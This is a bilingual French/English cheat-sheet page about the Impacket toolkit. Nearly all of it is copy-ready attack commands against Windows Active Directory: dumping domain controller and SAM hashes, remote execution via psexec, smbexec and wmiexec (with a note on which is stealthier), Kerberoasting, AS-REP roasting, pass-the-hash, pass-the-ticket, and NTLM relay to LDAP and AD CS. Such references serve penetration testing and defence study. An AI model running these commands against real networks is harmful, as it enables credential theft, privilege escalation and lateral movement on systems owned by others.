← retour aux outils back to tools

# Impacket

Collection de classes et scripts Python pour interagir avec les protocoles réseau Windows : GetUserSPNs, secretsdump, psexec, et plus. Collection of Python classes and scripts for interacting with Windows network protocols — GetUserSPNs, secretsdump, psexec, and more.

↗ https://github.com/fortra/impacket

## Overview

Impacket is a collection of Python libraries and example scripts for interacting with Windows network protocols (SMB, MSRPC, LDAP, Kerberos, MSSQL, etc.). It forms the backbone of many AD attack tools.

## Key Scripts

### Credential Dumping

    # Dump hashes from DC (requires DA or backup operator)
    secretsdump.py domain.local/admin:'Password'@dc01.domain.local
    secretsdump.py -hashes :ntlm_hash domain.local/admin@dc01.domain.local

Dump from local SAM (local admin)

    secretsdump.py local/admin:'Password'@10.10.10.1

### Remote Execution

PSExec — drops a service binary

    psexec.py domain.local/admin:'Password'@10.10.10.1

SMBExec — uses existing SMB service (stealthier)

    smbexec.py domain.local/admin:'Password'@10.10.10.1

WMIExec — via WMI (no binary dropped)

    wmiexec.py domain.local/admin:'Password'@10.10.10.1

### Kerberos

Kerberoasting

    GetUserSPNs.py domain.local/user:'Pass' -dc-ip 10.10.10.1 -request -outputfile tgs.txt

AS-REP Roasting

    GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.1

Request TGT

    getTGT.py domain.local/user:'Pass'

    # Pass-the-Ticket
    export KRB5CCNAME=admin.ccache
    psexec.py -k -no-pass domain.local/admin@dc01.domain.local

### NTLM Relay

    # Relay attacks
    ntlmrelayx.py -tf targets.txt -smb2support
    ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access
    ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController

Help / Man page

    Common Impacket scripts (all support -h for full help):

    CREDENTIAL DUMPING:
      secretsdump.py     domain/user:pass@target
        -just-dc-user    Dump specific user only
        -ntds            Path to NTDS.dit
        -system          Path to SYSTEM hive

    EXECUTION:
      psexec.py          domain/user:pass@target [command]
      smbexec.py         domain/user:pass@target
      wmiexec.py         domain/user:pass@target [command]
      dcomexec.py        domain/user:pass@target

    KERBEROS:
      GetUserSPNs.py     domain/user:pass -dc-ip IP [-request]
      GetNPUsers.py      domain/ -no-pass -usersfile FILE -dc-ip IP
      getTGT.py          domain/user:pass
      getST.py           domain/user:pass -spn cifs/target -impersonate admin

    RELAY:
      ntlmrelayx.py      -tf targets.txt -smb2support
        -c CMD            Execute command on relay
        -e FILE           Upload and execute file
        --delegate-access RBCD attack
        --adcs            Relay to AD CS

    AUTHENTICATION:
      -hashes LMHASH:NTHASH    Pass-the-Hash
      -aesKey KEY              AES Kerberos key
      -k                       Use Kerberos (ccache)
      -no-pass                 No password

## Vue d’ensemble

Impacket est une collection de bibliothèques Python et de scripts pour interagir avec les protocoles réseau Windows (SMB, MSRPC, LDAP, Kerberos, MSSQL, etc.). Il constitue la base de nombreux outils d’attaque AD.

## Scripts clés

### Extraction de credentials

    # Extraire les hachages du DC (nécessite DA ou opérateur de sauvegarde)
    secretsdump.py domain.local/admin:'Password'@dc01.domain.local
    secretsdump.py -hashes :ntlm_hash domain.local/admin@dc01.domain.local

    # Extraire depuis le SAM local (admin local)
    secretsdump.py local/admin:'Password'@10.10.10.1

### Exécution à distance

    # PSExec : dépose un binaire de service
    psexec.py domain.local/admin:'Password'@10.10.10.1

    # SMBExec : utilise le service SMB existant (plus furtif)
    smbexec.py domain.local/admin:'Password'@10.10.10.1

    # WMIExec : via WMI (aucun binaire déposé)
    wmiexec.py domain.local/admin:'Password'@10.10.10.1

### Kerberos

    # Kerberoasting
    GetUserSPNs.py domain.local/user:'Pass' -dc-ip 10.10.10.1 -request -outputfile tgs.txt

    # AS-REP Roasting
    GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.1

    # Demander un TGT
    getTGT.py domain.local/user:'Pass'

    # Pass-the-Ticket
    export KRB5CCNAME=admin.ccache
    psexec.py -k -no-pass domain.local/admin@dc01.domain.local

### Relay NTLM

    # Attaques de relay
    ntlmrelayx.py -tf targets.txt -smb2support
    ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access
    ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController

Aide / Page de manuel

    Common Impacket scripts (all support -h for full help):

    CREDENTIAL DUMPING:
      secretsdump.py     domain/user:pass@target
        -just-dc-user    Dump specific user only
        -ntds            Path to NTDS.dit
        -system          Path to SYSTEM hive

    EXECUTION:
      psexec.py          domain/user:pass@target [command]
      smbexec.py         domain/user:pass@target
      wmiexec.py         domain/user:pass@target [command]
      dcomexec.py        domain/user:pass@target

    KERBEROS:
      GetUserSPNs.py     domain/user:pass -dc-ip IP [-request]
      GetNPUsers.py      domain/ -no-pass -usersfile FILE -dc-ip IP
      getTGT.py          domain/user:pass
      getST.py           domain/user:pass -spn cifs/target -impersonate admin

    RELAY:
      ntlmrelayx.py      -tf targets.txt -smb2support
        -c CMD            Execute command on relay
        -e FILE           Upload and execute file
        --delegate-access RBCD attack
        --adcs            Relay to AD CS

    AUTHENTICATION:
      -hashes LMHASH:NTHASH    Pass-the-Hash
      -aesKey KEY              AES Kerberos key
      -k                       Use Kerberos (ccache)
      -no-pass                 No password